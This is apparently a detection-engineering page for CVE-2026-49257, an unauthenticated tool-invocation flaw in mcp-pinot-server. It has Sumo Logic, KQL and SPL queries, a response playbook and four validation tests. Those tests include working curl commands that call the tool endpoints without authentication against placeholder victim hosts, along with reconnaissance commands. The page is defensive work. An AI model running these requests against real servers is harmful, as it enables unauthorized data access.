CVE-2026-49257 Sumo Logic CSE · Sumo

Detect CVE-2026-49257: mcp-pinot Unauthenticated Tool Invocation via Default oauth_enabled=False in Sumo Logic CSE

Detects exploitation of CVE-2026-49257, a critical authentication bypass in mcp-pinot-server (<=3.0.1). The server defaults to oauth_enabled=False and binds to 0.0.0.0, allowing any network-adjacent or internet-facing attacker to invoke MCP tools without authentication. CVSS 10.0 with public PoC available.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Exfiltration

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=*web*access* OR _sourceCategory=*application*log* OR _sourceCategory=*python*
| where _raw matches /(?i)(mcp.?pinot|mcp_pinot|\/tools\/|\/invoke|\/call)/
| parse regex "\"(?P<method>POST|GET|PUT|DELETE) (?P<path>/[^\" ]+)" nodrop
| parse regex "Authorization:\s*(?P<auth_header>[^\r\n]+)" nodrop
| where method = "POST"
| where isNull(auth_header) or auth_header = ""
| where path matches /\/tools\/|\/invoke|\/call/
| count as unauthenticated_requests by _sourceHost, path, _sourceip
| sort by unauthenticated_requests desc
critical severity medium confidence

Sumo Logic query correlating HTTP POST requests to mcp-pinot tool endpoints lacking Authorization headers, surfacing hosts with unauthenticated invocation patterns consistent with CVE-2026-49257 exploitation.

Data Sources

Web access logsApplication logsPython runtime logs

Required Tables

_sourceCategory=*web*access*_sourceCategory=*application*log*

False Positives & Tuning

  • Service mesh environments using mutual TLS instead of bearer tokens
  • Internal automated test jobs without auth header configuration
  • Log sources where Authorization header is redacted before ingestion
  • Health monitoring systems polling the server without credentials

Other platforms for CVE-2026-49257

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Verify Unauthenticated MCP Tool Listing

    Expected signal: HTTP 200 response with JSON list of available Pinot MCP tools returned without any authentication challenge; no 401 or 403 status code issued.

  2. Test 2Unauthenticated Pinot Query Execution via MCP Tool

    Expected signal: Pinot query execution log entry showing query 'SELECT * FROM myTable LIMIT 10' from MCP server without session token; HTTP 200 from mcp-pinot-server with query results in response body.

  3. Test 3External Network Exploitation Simulation

    Expected signal: Inbound TCP connection from external IP to port 8000; HTTP POST to /tools/list and /tools/call with source IP from outside trusted ranges; no TLS client certificate or Authorization header present.

  4. Test 4Confirm Vulnerable Package Version in Environment

    Expected signal: Command execution events showing pip, find, and ps commands with mcp-pinot arguments; output revealing package version <= 3.0.1 and running process details.

Last updated: 2026-07-28 Research depth: standard
References (6)

Response Playbook

Triage

  1. Confirm mcp-pinot-server is installed: run `pip show mcp-pinot-server` and check version against <=3.0.1 threshold. Versions at or below 3.0.1 are vulnerable.
  2. Verify server configuration: check startup arguments and environment for `oauth_enabled=False` (default) and confirm bind address is 0.0.0.0 rather than 127.0.0.1 or a specific interface.
  3. Review network exposure: determine if the server port (default 8000 or configured) is reachable from untrusted networks — check firewall rules, security groups, and NSG configurations.
  4. Examine HTTP access logs for POST requests to /tools/, /invoke, or /call endpoints originating from unexpected source IPs or lacking Authorization headers within the past 72 hours.

Containment

  1. Immediately restrict network access to the mcp-pinot-server port via firewall rules or security group changes to allow only trusted source IPs, preventing further unauthenticated access while remediation is prepared.
  2. If the server cannot be taken offline, set the bind address to 127.0.0.1 to limit exposure to localhost-only, or enable oauth_enabled=True and configure a valid OAuth provider to enforce authentication.
  3. Upgrade mcp-pinot-server to a patched version above 3.0.1 as soon as available; if no patch exists, apply the configuration mitigations in the GitHub advisory commit 1c7d3f9cd384854bf72c127d230bdb32299475ad.

Evidence Collection

  1. Export full HTTP access logs from the mcp-pinot-server process covering at least 7 days prior to detection, focusing on POST requests to tool invocation endpoints and capturing source IPs, request bodies, and response codes.
  2. Capture process memory and running configuration of the mcp-pinot-server process using OS-level tools (e.g., `ps auxf`, `ss -tlnp`, `/proc/<pid>/cmdline`) to document the actual runtime configuration at time of detection.
  3. Collect all Apache Pinot query logs that may reflect queries submitted by MCP tools, to determine what data was accessed or exfiltrated during any unauthenticated sessions.

Escalation Criteria

  • !Escalate immediately if evidence shows successful unauthenticated tool invocations that resulted in Pinot data queries — this indicates active data exfiltration and triggers incident response under data breach protocols.
  • !Escalate if the vulnerable mcp-pinot-server is confirmed accessible from the internet (not just internal networks) or if the bind address is confirmed as 0.0.0.0 with no WAF or reverse proxy enforcing authentication upstream.

Investigation Guide

Related Techniques

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Forensic Artifacts

  • >HTTP access logs showing POST /tools/* or /invoke without Authorization header
  • >Python process command line containing 'mcp-pinot' or 'mcp_pinot' with 0.0.0.0 bind
  • >pip freeze or site-packages directory confirming mcp-pinot-server version <= 3.0.1
  • >Network connection records showing inbound connections to MCP server port from untrusted IPs
  • >Apache Pinot query execution logs showing queries not originating from authenticated sessions

Tuning Guidance

High false positive risk in environments with many Python web services — tune by adding process name filter for 'mcp_pinot' or 'mcp-pinot' specifically. Consider enriching alerts with pip package version data from a software inventory CMDB to reduce noise from patched instances. If the MCP server is behind a reverse proxy that handles authentication, the unauthenticated-to-server traffic will be expected and should be excluded by filtering source IPs to only the proxy's address. Reduce false positives from health check traffic by excluding known monitoring tool user agents or source IPs.

Hunting Queries

Threat hunt for mcp-pinot-server processes running with default insecure configuration (0.0.0.0 bind, oauth_enabled=False) across the environment to identify unpatched vulnerable instances before exploitation occurs.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where ProcessCommandLine has_any ("mcp-pinot", "mcp_pinot", "mcp pinot")
| extend BindAddress = extract("--host ([0-9\.]+)", 1, ProcessCommandLine)
| extend OAuthEnabled = extract("oauth_enabled=([A-Za-z]+)", 1, ProcessCommandLine)
| where BindAddress == "0.0.0.0" or isempty(BindAddress)
| where OAuthEnabled =~ "False" or isempty(OAuthEnabled)
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, BindAddress, OAuthEnabled
| order by TimeGenerated desc
Hunting — SPL
spl 
index=* sourcetype IN ("linux:audit", "wineventlog", "ps") 
| where match(_raw, "(?i)mcp.?pinot")
| rex field=_raw "--host (?P<bind_addr>[0-9\.]+)" 
| rex field=_raw "oauth_enabled=(?P<oauth_val>[A-Za-z]+)"
| where (isnull(bind_addr) OR bind_addr="0.0.0.0") AND (isnull(oauth_val) OR oauth_val="False")
| table _time, host, _raw, bind_addr, oauth_val

Atomic Red Team Tests

Test 1 Verify Unauthenticated MCP Tool Listing
linux

Confirm that mcp-pinot-server responds to tool listing requests without requiring authentication when running with default configuration.

Command

bash 
pip install 'mcp-pinot-server<=3.0.1' && python -m mcp_pinot.server --host 0.0.0.0 --port 8765 &
sleep 3
curl -s -X POST http://127.0.0.1:8765/tools/list -H 'Content-Type: application/json' -d '{}'
echo "Exit code: $?"

Cleanup

bash 
pkill -f mcp_pinot.server; pip uninstall -y mcp-pinot-server

Expected Telemetry

HTTP 200 response with JSON list of available Pinot MCP tools returned without any authentication challenge; no 401 or 403 status code issued.

Expected Detection

SIEM should fire on POST /tools/list with no Authorization header from localhost or external IP to port 8765.

Test 2 Unauthenticated Pinot Query Execution via MCP Tool
linux

Attempt to invoke a Pinot query tool through the MCP interface without providing any OAuth token, demonstrating data access through the authentication bypass.

Command

bash 
curl -s -X POST http://TARGET_MCP_PINOT_HOST:8000/tools/call \
  -H 'Content-Type: application/json' \
  -d '{"name": "execute_query", "arguments": {"query": "SELECT * FROM myTable LIMIT 10"}}'

Cleanup

bash 
No cleanup required — this is a read operation. Review Pinot query logs to confirm test query was recorded.

Expected Telemetry

Pinot query execution log entry showing query 'SELECT * FROM myTable LIMIT 10' from MCP server without session token; HTTP 200 from mcp-pinot-server with query results in response body.

Expected Detection

Detection should trigger on POST /tools/call without Authorization header and correlate with downstream Pinot query log activity.

Test 3 External Network Exploitation Simulation
linux

Simulate an internet-originated attack by invoking mcp-pinot MCP tools from a separate network segment or external IP, confirming no network-layer auth controls exist by default.

Command

bash 
# Run from attacker machine on separate network segment
curl -v -X POST http://VICTIM_MCP_PINOT_IP:8000/tools/list \
  -H 'Content-Type: application/json' \
  -d '{}'
# Then invoke a tool
curl -v -X POST http://VICTIM_MCP_PINOT_IP:8000/tools/call \
  -H 'Content-Type: application/json' \
  -d '{"name": "list_tables", "arguments":{}}'

Cleanup

bash 
Remove any test data inserted; restore firewall rules if temporarily modified for testing.

Expected Telemetry

Inbound TCP connection from external IP to port 8000; HTTP POST to /tools/list and /tools/call with source IP from outside trusted ranges; no TLS client certificate or Authorization header present.

Expected Detection

Network-layer detection should fire on external IP connecting to MCP port; application-layer detection should fire on unauthenticated POST to tool endpoint.

Test 4 Confirm Vulnerable Package Version in Environment
linux

Enumerate installed mcp-pinot-server instances across hosts to identify vulnerable versions <= 3.0.1 prior to exploitation, simulating attacker reconnaissance.

Command

bash 
pip show mcp-pinot-server 2>/dev/null | grep -E '(Name|Version|Location)'
find / -name 'mcp_pinot' -type d 2>/dev/null | head -5
ps aux | grep -i 'mcp.\?pinot' | grep -v grep

Cleanup

bash 
No cleanup required — read-only reconnaissance commands.

Expected Telemetry

Command execution events showing pip, find, and ps commands with mcp-pinot arguments; output revealing package version <= 3.0.1 and running process details.

Expected Detection

EDR process creation events for pip/find/ps with mcp-pinot keywords may trigger reconnaissance detection rules; correlate with subsequent network connections to the identified port.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0004Privilege EscalationTA0010Exfiltration

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.006PythonT1041Exfiltration Over C2 Channel

Same Tactic: Initial Access

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